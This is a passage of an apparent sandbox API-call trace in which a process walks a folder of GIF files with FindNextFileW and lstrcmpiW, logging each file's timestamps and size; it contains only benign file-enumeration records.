ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10264_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10265_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10265_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10266_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10266_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10267_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10267_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10268_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10268_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10297_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10297_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10298_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10298_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10299_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10299_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10300_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10300_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10301_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10301_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10302_.GIF", lpString2=".") returned 1 [0097.597] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0097.597] lstrcmpiW (lpString1="BD10335_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD10336_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD10337_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD10337_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14513_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14513_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14514_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14514_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14515_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05b1500, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd05b1500, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14528_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14528_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14529_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14529_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14530_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14530_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14530_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14531_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14531_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14531_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14532_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14532_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14532_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14533_.GIF", cAlternateFileName="")) returned 1 [0097.598] lstrcmpiW (lpString1="BD14533_.GIF", lpString2=".") returned 1 [0097.598] lstrcmpiW (lpString1="BD14533_.GIF", lpString2="..") returned 1 [0097.598] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7b7100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe7b7100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14565_.GIF", cAlternateFileName="")) returned 1 [0097.599] lstrcmpiW (lpString1="BD14565_.GIF", lpString2=".") returned 1 [0097.599] lstrcmpiW (lpString1="BD14565_.GIF", lpString2="..") returned 1 [0097.599] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14578_.GIF", cAlternateFileName="")) returned 1 [0097.599] lstrcmpiW (lpString1="BD14578_.GIF", lpString2=".") returned 1 [0097.599] lstrcmpiW (lpString1="BD14578_.GIF", lpString2="..") returned 1 [0097.599] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14579_.GIF", cAlternateFileName="")) returned 1 [0097.599] lstrcmpiW (lpString1="BD14579_.GIF", lpString2=".") returned 1 [0097.599] lstrcmpiW (lpString1="BD14579_.GIF", lpString2="..") returned 1 [0097.599] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14580_.GIF", cAlternateFileName="")) returned 1 [0097.599] lstrcmpiW (lpString1="BD14580_.GIF", lpString2=".") returned 1 [0097.599] lstrcmpiW (lpString1="BD14580_.GIF", lpString2="..") returned 1 [0097.599] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14581_.GIF", cAlternateFileName="")) returned 1 [0097.599] lstrcmpiW (lpString1="BD14581_.GIF", lpString2=".") returned 1 [0097.599] lstrcmpiW (lpString1="BD14581_.GIF", lpString2="..") returned 1 [0097.599] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe4b700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fe4b700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14582_.GIF", cAlternateFileName="")) returned 1 [0097.599] lstrcmpiW (lpString1="BD14582_.GIF", lpString2=".") returned 1 [0097.599] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="..") returned 1 [0097.599] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8115e400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8115e400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14583_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14583_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14654_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14654_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14655_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14655_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14655_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d66b00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5d66b00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14656_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14656_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14656_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14691_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14691_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14691_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14692_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14692_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14692_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14693_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14693_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14693_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14752_.GIF", cAlternateFileName="")) returned 1 [0097.666] lstrcmpiW (lpString1="BD14752_.GIF", lpString2=".") returned 1 [0097.666] lstrcmpiW (lpString1="BD14752_.GIF", lpString2="..") returned 1 [0097.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, 